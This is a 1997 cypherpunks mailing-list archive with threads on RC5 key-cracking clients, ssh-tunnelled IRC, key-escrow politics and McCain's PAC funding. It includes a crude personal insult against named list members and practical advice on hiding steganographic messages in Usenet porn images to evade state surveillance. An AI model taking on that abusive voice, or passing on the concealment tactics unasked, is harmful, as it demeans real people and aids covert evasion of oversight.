Date: Sun, 22 Jun 1997 23:32:07 +0800
To: cypherpunks@toad.com
Subject: Re: [FLAMING ON THE LIST]
In-Reply-To: <3.0.2.32.19970622012406.03096104@popd.ix.netcom.com>
Message-ID: <muaP9D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:
> In the case of Cypherpunks, there are a few consistent flamers who will
> not only flame you for everything you post, but will also reply to your post
> with a flame against Gilmore and Sameer :-)

A pair of lying censorous cocksuckers. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 16:21:05 +0800
To: fabrice@math.Princeton.EDU
Subject: Re: RC5 crack
In-Reply-To: <19970621160629.55632@math.princeton.edu>
Message-ID: <199706220804.JAA05874@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fabrice Planchon <fabrice@math.Princeton.EDU> writes:
> Comme disait Adam Back (aba@dcs.ex.ac.uk):
> > 
> > Been looking at the RC5 crack project.
> > 
> > http://rc5.distributed.net/ has loads of flashy graphics, stats,
> > etc. but no instructions!
> 
> seems they are in the final process of rewriting clients entirely, with
> a new protocol, etc... so they don't bother explaining how the old
> clients work. Still, I agree it sucks.
> 
> here is the best that I found on that subject in the rc5 list archive..
> 
>    rc5.exe -l -a outland.hway.net -a2 rc5proxy.distributed.net -s -k 20
>    jonass@lysator.liu.se
>      
>    -l is logging (writes to a file)
>    -a primary server to use
>    -a2 secondary server
>    -s shows status
>    -k number of blocks to buffer local. The larger number the less you
>    have to be online

The client I have which I downloaded yesterday complains most of those
arguments are illegal.  I think the DOS version and the unix versions
have different usage.

Ben Byer <root@bushing.plastic.crosslink.net> wrote:
> You want to download the "personal proxy", perproxy.  It should be
> available on the same ftp site as the client.  The proxy will buffer
> the keys and the answers for you... you just run the proxy on your
> machine, point it at rc5proxy.distributed.net, and you point your
> client at localhost.

This method works, in case any others are reading and trying this
under unix.  It's still chewing keys this morning.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 22 Jun 1997 22:11:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Party on IRC
Message-ID: <199706221403.JAA05375@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>, on 06/21/97 
   at 02:34 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>>Robert Hettinga <rah@shipwright.com> writes:
>>>Is there an encrypted IRC available?
>>>If not, shouldn't there be?
>>>Is such a thing even possible?

>You'd have to think about what you wanted it to do,
>but it should be quite doable.  IRC is normally for sharing
>conversations between an amorphous, changing bunch of people, which isn't
>really a standard thing to do with crypto.  
>But I can see several basic models:
>0) Just Speak Finnish :-)
>1) Two-person, with Diffie-Hellman key exchange
>2) N-person shared-key - you'd probably use RSA to give the session key
>to each new participant, or use PGP to do it.
>3) N person, one key per sender, shared as above.
>4) Ignore the application layer, and build the crypto as an IPsec tunnel.
>5) Ignore the IRC protocols, and build a similar conversation server
>using web forms and SSL.

Hi Bill,

I have been doing somthing much simpler for providing an encrypted IRC.

Say you have a group of 5-10 crypto-anarchsist who wish to engage in a
secure coversation.

1 of the group runs ircd & sshd on his machine (perferabley the one with
the fastest machine/and or best connection).    

The rest of the group logs into his machine using irc & ssh clients.

All communication is encrypted to the outside world while in "plain text"
to the group.

The best part of this is it requires no modification to the "off the
shelf" software available.

Unfortunatly ssh is not very well known outside the Unix community. There
is an exelent port for OS/2 (freeware) and there is a port to winxx
(shareware) I don't know if a mac port is available.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM60xGY9Co1n+aLhhAQGMKQQAj0x8wIofs/xXUSUtL9yv8BhfiILNElK/
lkVHmMYe84fG9mokkvxQXd90C/AXW5AzX5vSoSrF49DK+5+zMhYv/BKJq3WoT/r2
iNr1gLtpDP3hMY0OGbEdJMf3qXaX+7n8Uqgenzqj8HaiNUCpst2LCVX39I00gFlq
mnzO5BZ+W1w=
=HdWI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 16:20:22 +0800
To: fabrice@math.Princeton.EDU
Subject: why we need source code (was Re: RC5 crack)
In-Reply-To: <19970621160629.55632@math.princeton.edu>
Message-ID: <199706220814.JAA06026@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Fabrice Planchon <fabrice@math.Princeton.EDU> writes:
> Comme disait Adam Back (aba@dcs.ex.ac.uk):
> >
> > Also, no source code.
> >
>
> there have been some discussions about that on the list, they seem
> to fair bogus datas sent to the servers. Kind of makes sense, but
> they could at least release the core source without the
> communication protocol...

Yes, and it's inconvenient for a number of reasons:

- those running the rc5 crack don't sign their binaries (presumably
  because they don't use PGP, or don't know what it is or something),
  who knows what you're downloading, virus, disk formatter, what ever.
  If you had source code, you could verify it yourself at least, even
  if there is no signature.

- This problem with taking too few keys, if you had the source, and they
  can't be bothered to write instructions, or even brief usage notes,
  you could at least figure out how to use it from the source

- Having source allows more people to verify it's correctness (saving
  burning keys on subtly flawed code), spot bugs, etc.  Also allows
  others to find speedups.

- The point about stopping bogus keys being submitted, some validity,
  however.

- Another reason I suspect they won't give source is that they want to
  conceal the key from you because they have other ideas about where the
  money should go than perhaps you do.  (They want $1000 for themselves,
  and will give $8000 to project Gutenburg (boring)).

- When I see people worring about concealing protocols, I get this
  urge to insert a tap between the client and server, and post the
  protocol, to remove that worry for them.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 00:41:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: cypherpunks coding challenge
In-Reply-To: <199706220938.KAA06436@server.test.net>
Message-ID: <v03102801afd30380db10@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:38 AM -0700 6/22/97, Adam Back wrote:
>A couple of people have complained of the huge efforts put into
>breaking keys, and of the small efforts invested in cypherpunks code
>writing of late.
>
>Perhaps there is something to this challenge stuff, in terms of
>getting contributors, neatly tabulating results, working up
>enthusiasm etc.
>
>So... how about a code writing challenge, an award for the best
>cypherpunk project every month.  (No monetary prize, just vote on list
>to decide most significant project).
>
>Perhaps a list of how many lines of code.  A hall of fame if you like:
>
>% wc -l `find . -name \*.h -print -o -name \*.c -print`
>
>Eric Young		SSL-eay		101,721 lines
>PGP Inc			pgp30		    (?) lines
>Phil Zimmermann & co	pgp263		 34,891 lines
....

Not to be tedious about this, but why would "lines of code" be an
interesting metric?

I'm reminded of a cartoon showing a Russian factory winning the "greatest
tonnage of screws produced," with a crane lifting a massive, 100 meter long
screw above the factory. The dangers of the wrong metric.

I think we need a few major innovations more than some number of lines of code.

--Tim May

(No, I'm not a programmer. But I've done a few "hacks" which were
interesting and useful, I think. Taking readily available stuff, "BlackNet"
made the concrete point that data havens and anonymous markets already are
possible. Number of lines of code written: zero. The task is to combine
some of the existing tools into new things. Raw lines of code is not
necessarily useful.)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 01:03:58 +0800
To: cypherpunks@Algebra.COM
Subject: Laying PipeNet
In-Reply-To: <v0310281cafd1ba6444d6@[207.167.93.63]>
Message-ID: <v03102802afd305494670@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:02 AM -0700 6/22/97, Adam Back wrote:

>But for sending messages, we need a stego interface to remailers.  Now
>seems like a good time to produce this software.  It's time has come,
>much as Phil Zimmermann felt the pressure of the 1991 Senate
>anti-crime bill 266.
>
>Good stego encoding techniques are the difficult problem.  We could do
>something in-your-face like:

I agree. This should be a very high priority.

No coordination is needed...someone just needs to do it.

(The disputes about the DES challenge, and now the RC5 challenge, reinforce
in me the advantages of the "random search," which is worse than the
"coordinated search" by an insignificant (logarithmically) factor, as the
math clearly shows. And a random search has the advantage of incentivizing
more contribution of CPU cycles, and no worries that someone plans to sniff
the results and claim the prize himself. The parallels to code writing are
left as an exercise.)

>Text stego is hard to do.  At ultra low encoding rates (say a few bits
>per email), it would be ok.  (Just message parity, perhaps the entropy
>in the message-id, posting time).

Pointers can be useful. A small number of stego bits in a message of this
length could be used to tell a recipient where to look for a longer
message. Thus, this message could contain instructions to "Look at the
image "cindy-fake17.gif" in "alt.binaries.erotica.cindy-crawford" for
instructions about the Cabal meeting."

Why not simply send the GIF to Adam? This would be an unusual event,
sending such a GIF from me to him, and would be a huge spike in volume.

A pointer to an image posted to a "message pool" already containing vast
amounts of stuff, and his downloading of several (for cover) of these image
files, would not directly be implicating. (In Muslim countries, yes.)

So, low-bandwidth channels can easily carry text messages in stego form
pointing to higher-bandwith channels (meaning: files with lots of bits). An
attacker will be hard-pressed to make a correlation.

Also, the use of conventional porn or soft porn images for stego will be
less obvious than posting and retrieving images into
"alt.anonymous.messages." If the images are recyclings of older images, as
most images in these porn groups are, then there is the problem that images
may be diffed (compared) and the LSBs detected to be different. Fixes for
this either include deliberate (and stated) "enhancement" in Photoshop,
which is also fairly common, or scanning of some of those old Penthouse
mags laying around! :-)

>Images and audio files are much rosier targets, but who posts volumes
>of gifs, or uses audio files?  Not I, the bandwidth isn't up to it
>yet, and pay-per-second phone bills don't help either.

The alt.binaries.* groups are examples where truly massive number of images
are posted and retrieved every day. This is well known, of course. (And the
images do not take long to download...I have conducted my own "research"
into this. :-})


>For comfort, I'd like to be able to post, lets say 10k per day of
>messages, via remailers in non-GAKed countries.  Clearly I'm going to
>have to increase my rate of bit-production to stego encode this much
>data in my stegotext output.  How am I going to do it with good
>plausible deniability though?
>

By posting an occasional image to one of these groups.

If one posts such an image every day, for cover, whether or not it contains
LSB stego bits, this becomes a sort of "PipeNet." A curiously relevant
name, eh? (With apologies to Wei Dai, whose "PipeNet" had a different form.)

As the saying goes, porn is what drives all new media technologies...why
not for us, too?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 22 Jun 1997 23:06:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: how to `go underground' (was Re: The Global Fix is In)
Message-ID: <199706221457.JAA05804@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706221002.LAA06654@server.test.net>, on 06/22/97 
   at 11:02 AM, Adam Back <aba@dcs.ex.ac.uk> said:

>Perhaps someone can have a go at adding this to PGP3.x, once Stale has
>finished scanning the source code books, and has posted the source.

>Also, I hear that PGP3.x has support for RSA keys, but won't generate
>them?  Perhaps we can add that back in also.

I believe that it is only the freeware PGP 5.0 from the MIT site that has
RSA key generation disabled. The commercial version should be able to
generate both key formats.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM609+49Co1n+aLhhAQHjjQQAw/euyv+RsR/PPUBiG4+Ou7BlXrriq0AI
1L8kiDgsndAX+5nnNxItM8P9iy0ALZolShztS/UL4ppaCGKBfcsmZy8gFRvfXii2
DLZ8TQdzFUwmomqIGZZIMo4JQYOzEbB+kqg6gWxW7AnbURKVHXW1md2rreSBy0k9
uZU5pD26cC0=
=rSmJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 01:12:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <m2en9uncbo.fsf@altair.xemacs.org>
Message-ID: <v03102803afd30c03db18@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:44 AM -0700 6/22/97, Ryan Anderson wrote:

>
>You have a better method?  Let's hear it.
>

Pick one or both of the below:

"Something _wonderful_ is about to happen."

"I have a solution."


--Tim "Channeling Bell" May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Mon, 23 Jun 1997 01:45:32 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: The Global Fix is In
Message-ID: <3.0.32.19691231160000.006c4dd0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm reading a book, "Who Will Tell the Truth" with some very clear insights
into
How it All Works.  The bottom line is the Bottom Line and the reason the
crypto
debate is going this way is due to exactly one thing: Money.

I know there are those amongst this readership who feel that there is no
place for the usual political process in dealing with the crypto issues, but
that's not a universal or a given, nor is it necessarily practical in the long
run.  But within the existing structure the missing component in the debate is
the active participation of a lot of dollars.

The weight of Micro$osft + Netscape + (name your favorite list) is
miniscule, and their players woefully inexperienced,
 compared to McDonnell D., G.E. Fed., TRW., Lock/Martin, IBM, and others who
stand to gain hugely from a Federally-mandated and controlled PKI.  Those
heavyweights are all drinking buddies with the  other Washington sorts who
are in search of 
ever-expanding missions in life, and the result is a coterie who's primary
interest
isn't even remotely concerned with Child Pornography, Money Laundering, etc.
but their own aggrandizement measured in personal and corporate dollars.
There are no doubt 
massive investments being made by Industry in the conservative thinktanks
who produce the
intellectual fodder-de-jour that supports the position of this elite, and
overwhelm the
likes of McCain and Kerrey with
impossible-for-the-legislature-to-understand managed 
"information" which boils it all down to the 4 Horsemen arguments.

What's necessary here is a knowledgeable application of the same
techniques, a coalition
organization comprised of large business interests with an awareness of how
Bad this all is,
competing on the same turf.

Noble anarchist or Constitutional arguments, whining about our Rights and
such, are 
insignificant and irrelevant to the players.  

Who will belly up to the bar and provide leadership on terms that will
truly be effective?
=======================================================




At 10:16 AM 6/21/97 -0700, Tim May wrote:
>
>
>The "Meeting of the Eight," formerly the G7, is happening in Denver.
>Listening to what's coming out of it, it's apparent that the Four Horsemen
>are front and center. Clinton is speaking of a network of banking and
>communications policy coordinators, to detect and halt drug dealing, money
>laundering, and nuclear terrorism.
>
>This fits with the details of reports about global wiretapping efforts,
>about joint intelligence activities, and, of course, with the OECD/GAK laws
>being proposed, passed, and about to be signed into law about "Key
>Recovery" and "Trusted Third Parties."
>
>The fix is in.
>
>It probably won't be long before Stronghold is barred for export from
>either Britain or RSA (the other one); both Tony Blair and Nelson Mandela
>are Friends of Bill, so a few phone calls should take care of that little
>problem. (And Norway and the other Scandinavian countries are part of the
>global wiretap agreement, so I rather doubt free export of PGP 5.x code out
>of Norway will be feasible, despite the OCR effort now underway there.)
>
>(Not that Clinton will mention Stronghold to Blair...that's far too much
>microdetail. Jimmy Carter might have gotten involved at that level, but not
>Bill. Details will be left to underlings.)
>
>The call to Japan, probably the visit by David Aaron, stopped NTT's plans
>for exporting the RSA chip.
>
>Anguilla and other "offshore" havens, will be subject to the same kinds of
>pressure. Mark my words.
>
>It's not hopeless. Physical havens are vulnerable, to all sorts of
>pressures (I doubt many cryptographers want to set up shop in Libya or
>Iraq, not that these places would be hospitable to Cypherpunks sorts of
>goals and methods).
>
>Going underground, using the untraceable features of cyberspace, may be the
>last, best hope.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 18:52:42 +0800
To: cypherpunks@cyberpass.net
Subject: cypherpunks coding challenge
Message-ID: <199706220938.KAA06436@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




A couple of people have complained of the huge efforts put into
breaking keys, and of the small efforts invested in cypherpunks code
writing of late.

Perhaps there is something to this challenge stuff, in terms of
getting contributors, neatly tabulating results, working up
enthusiasm etc.

So... how about a code writing challenge, an award for the best
cypherpunk project every month.  (No monetary prize, just vote on list
to decide most significant project).

Perhaps a list of how many lines of code.  A hall of fame if you like:

% wc -l `find . -name \*.h -print -o -name \*.c -print`

Eric Young		SSL-eay		101,721 lines
PGP Inc			pgp30		    (?) lines
Phil Zimmermann & co	pgp263		 34,891 lines
Peter Gutmann		cryptlib200	 34,845 lines
Tatu Ylonen		ssh-1.2.20	 33,650 lines
Wei Dai			crypto++ 2.1	 32,831 lines
Ian Goldberg		Lucre 0.9.0	 20,283 lines
Colin Plumb		bnlib		 20,148 lines
Matt Blaze & co		cryptolib-1.1	 19,908 lines
Pr0duct Cipher		PGPTools	 13,062 lines
Pr0duct Cipher		Magic Money	 15,026 lines
Ben Laurie		Apache-SSL patch    957 lines
etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 18:52:33 +0800
To: tcmay@got.net
Subject: how to `go underground' (was Re: The Global Fix is In)
In-Reply-To: <v0310281cafd1ba6444d6@[207.167.93.63]>
Message-ID: <199706221002.LAA06654@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> [G8 outlawing of crypto efforts forging ahead]
> 
> It's not hopeless. Physical havens are vulnerable, to all sorts of
> pressures (I doubt many cryptographers want to set up shop in Libya or
> Iraq, not that these places would be hospitable to Cypherpunks sorts of
> goals and methods).
> 
> Going underground, using the untraceable features of cyberspace, may
> be the last, best hope.

I'm not sure we have the software to do this right now.

Let's say that we start with the assumption of remailers still running
in some countries (non G8).

Message pools are ok for receiving messages.

But for sending messages, we need a stego interface to remailers.  Now
seems like a good time to produce this software.  It's time has come,
much as Phil Zimmermann felt the pressure of the 1991 Senate
anti-crime bill 266.

Good stego encoding techniques are the difficult problem.  We could do
something in-your-face like:

use a random number, go to jail!
BECBFEAAA13241237419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDB
AA13241237419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDBBECBFEA
419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDBBECBFEAAA13241237
...

As a form of protest, where it really is stegoed instructions to a
remailer in a GAK-free country, which is reading the list.

Text stego is hard to do.  At ultra low encoding rates (say a few bits
per email), it would be ok.  (Just message parity, perhaps the entropy
in the message-id, posting time).

Anything more in text seems intrinsically hard to do well enough to
feel comfortable betting against a jail term.

Images and audio files are much rosier targets, but who posts volumes
of gifs, or uses audio files?  Not I, the bandwidth isn't up to it
yet, and pay-per-second phone bills don't help either.

PGP 2.x signatures (presuming we're still allowed to sign posts with
such software) don't have much scope for subliminal channels.  The
time of posting in seconds is about it.

However, PGP 3.x signatures on ElGamal/DSS keys should have.  There
are several subliminal channels in DSS signatures.  It involves
generating a random number component, and this can be exploited.
Still pretty low bandwidth.

Perhaps someone can have a go at adding this to PGP3.x, once Stale has
finished scanning the source code books, and has posted the source.

Also, I hear that PGP3.x has support for RSA keys, but won't generate
them?  Perhaps we can add that back in also.


For comfort, I'd like to be able to post, lets say 10k per day of
messages, via remailers in non-GAKed countries.  Clearly I'm going to
have to increase my rate of bit-production to stego encode this much
data in my stegotext output.  How am I going to do it with good
plausible deniability though?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Mon, 23 Jun 1997 02:19:52 +0800
To: cypherpunks@Algebra.COM
Subject: special interest profile: McCain
In-Reply-To: <199706221741.MAA07164@mailhub.amaranth.com>
Message-ID: <33AD6A49.28CA@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's the performance rating given to McCain by the special interest
groups.  The percentage figure is the %votes in agreement with the
position(S) of the group.
>From Vote Smart,
http://www.vote-smart.org/congress/105/az/az-sr-a/az-sr-ar.html



                         Performance Evaluations by Special Interest
Groups

Issue Area      Year    Percentage   Evaluating Organization      
------------------------------------------------------------------------------
Abortion/FamPln 1991      100 Justlife Education Fund
(Abortion)           
Abortion/FamPln 1993-1996   0 Planned
Parenthood                           
Abortion/FamPln 1996        0 National Abortion Reproductive Rights
Action 
Abortion/FamPln 1996       86 National Right to Life
Committee             
Business        1995-1996 100 National Federation of Independent
Business  
Business        1996       95 Business-Industry Political Action
Committee 
Business        1996      100 U.S. Chamber of
Commerce                     
Children        1995        6 Children's Defense
Fund                      
Chr.Fam. Issues 1991-1992 100 Christian
Voice                              
Chr.Fam. Issues 1995-1996 100 Christian
Coalition                          
Civil Rts/Lib   1991-1992   0 National Gay & Lesbian Task
Force            
Civil Rts/Lib   1993-1994   0 Human Rights Campaign
Fund                   
Civil Rts/Lib   1995-1996  10 Leadership Conference on Civil
Rights        
Civil Rts/Lib   1995-1996  22 National Association for the Advancement
of C
Civil Rts/Lib   1996       18 American Civil Liberties
Union               
Conservative    1995-1996  74 Conservative
Index                           
Conservative    1996       95 American Conservative
Union                  
Consumers       1996       43 Consumer Federation of
America               
Contractors     1995      100 Associated Builders &
Contractors            
Crime           1995-1996   0 Citizens United for Rehabilition of
Errants  
Defense/Foreign 1991       15 Professional's Coalition for Nuclear Arms
Con
Defense/Foreign 1991       40 JustLife Education Fund (Arms
Reduction)     
Defense/Foreign 1993-1994 100 American Security
Council                    
Defense/Foreign 1995       17 Peace
Action                                 
Defense/Foreign 1995       30 Campaign for U.N.
Reform                     
Defense/Foreign 1996        9 Council for a Livable
World                  
Economic Policy 1991       40 JustLife Education Fund (Economic
Policy)    
Economic Policy 1994       90 Competitive Enterprise Institute
(Totals)    
Economic Policy 1995       90 The Libertarian Party - Economic
Freedom     
Economic Policy 1996       87 The Republican Liberty
Caucus                
Education       1993-1994   9 American Federation of
Teachers              
Education       1995        0 National Education
Association               
Education       1995-1996   0 U.S. Student
Association                     
Env./consumer   1995-1996  11 U.S. Public Interest Research
Group          
Environment     1994       78 Competitive Enterprise Institute
(Environment
Environment     1995-1996  11 League of Conservation
Voters                
Environment     1995-1996  75 Fund For
Animals                             
Farm            1991-1992  20 National Farmers
Organization                
Farm            1993       56 National Farmers
Union                       
Farm            1993-1994  89 American Farm Bureau
Federation              
Farm            1994      100 Competitive Enterprise Institute
(Agriculture
Gun Issues      1993-1994   0 Handgun Control,
Inc                         
Gun Issues      1993-1994 100 National Rifle
Association                   
Health          1995-1996  41 AIDS Action
Council                          
Health          1996        7 American Public Health
Association           
Immigration     1996       15 American Immigration
Control                 
Immigration     1996       25 Federation for American Immigration
Reform-Se
Labor           1989        0 Machinists Non-Partisan Political
League     
Labor           1989-1990  50 National Federation of Federal
Employees     
Labor           1991       40 American Postal Workers
Union                
Labor           1994        0 United Food & Commercial
Workers             
Labor           1995        0 United Auto
Workers                          
Labor           1995        8
AFL-CIO                                      
Labor           1995       12 Communications Workers of
America            
Labor           1995       12 The
Teamsters                                
Labor           1995       30 Transportation Communications
Union          
Labor           1996        0 American Federation of State, County &
Munici
Labor           1996        5 American Federation of Government
Employees  
Liberal         1995-1996   5 National Committee for an Effective
Congress 
Liberal         1995-1996  38 Public Citizen's Congress
Watch              
Liberal         1996        0 Americans for Democratic
Action              
Libertarian     1995       70 The Libertarian Party - Combined
Score       
Populist        1995       20 Liberty
Lobby                                
Poverty         1996       14 Bread for the
World                          
Property        1995-1996 100 League of Private Property
Voters            
Regulation      1994      100 Competitive Enterprise Institute
(Deregulatio
Seniors         1995        0 National Council of Senior
Citizens          
Seniors         1995-1996  20 National Association of Retired Federal
Emplo
Seniors         1995-1996  29 National Committee to Preserve Social
Securit
Seniors         1995-1996  94 The 60 Plus
Association                      
Social Policy   1991       40 National Association of Social
Workers       
Social Policy   1995        7
Network                                      
Social Policy   1995       50 The Libertarian Party - Personal
Freedom     
Social Policy   1995-1996   8 Friends Comm. on Nat'l Leg.
(Senate)         
Social Policy   1996        0 Zero Population
Growth                       
Social Policy   1996       62 The Republican Liberty
Caucus                
Taxes/Spending  1991-1992 100 National Tax-Limitation
Committee            
Taxes/Spending  1994       85 Competitive Enterprise Institute
(Spending)  
Taxes/Spending  1994      100 Competitive Enterprise Institute
(Budget)    
Taxes/Spending  1994      100 Competitive Enterprise Institute
(Taxes)     
Taxes/Spending  1995       48 Concord
Coalition                            
Taxes/Spending  1995       88 National Taxpayers
Union                     
Taxes/Spending  1995       89 Citizens Against Government
Waste            
Trade           1994      100 Competitive Enterprise Institute
(Trade)     
Veterans        1989-1990  50 Vietnam Veterans of
America                  
Women           1989-1990   5 National Women's Political
Caucus            
Women           1993       20 The Woman Activist
(Senate)                  
Women           1995-1996   0 American Association of University
Women     
Women           1995-1996  75 Concerned Women for
America





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Mon, 23 Jun 1997 02:43:45 +0800
To: cypherpunks@Algebra.COM
Subject: Ownership of McCain
Message-ID: <33AD6F72.6D27@best.com>
MIME-Version: 1.0
Content-Type: text/plain



It was suggested that I look a little at McCain, so here is a dribble; 
I think it's instructive to see the following PAC's on McCains feedlist.

Anyone who thinks that these Co.'s won't profit tremendously in the
deployment of a
Federally-designed and mandated PKI is taking the wrong drugs .....
(note: obviously these figures are meaningless in terms of actual $$$
amounts. They
only serve to indicate that real soft money is flowing from the same
source.)


   4,000  05/03/95  AIRCRAFT OWNERS AND PILOTS ASSOCIATION POLITICAL
ACTION COMMITTEE                         
     2,500  02/14/95  ALLIED PILOTS ASSOCIATION POLITICAL ACTION
COMMITTEE (AKA) APA PAC                        
     2,500  11/17/95  ALLIED PILOTS ASSOCIATION POLITICAL ACTION
COMMITTEE (AKA) APA PAC                        
     1,000  02/27/95  AMERICAN AIRLINES POLITICAL ACTION
COMMITTEE                                              
       100  03/29/95  AMERICAN SUPPLY ASSOCIATION
PAC                                                           
       500  02/02/95  BDM INTERNATIONAL, INC. POLITICAL ACTION COMMITTEE
(BDM-PAC)                              
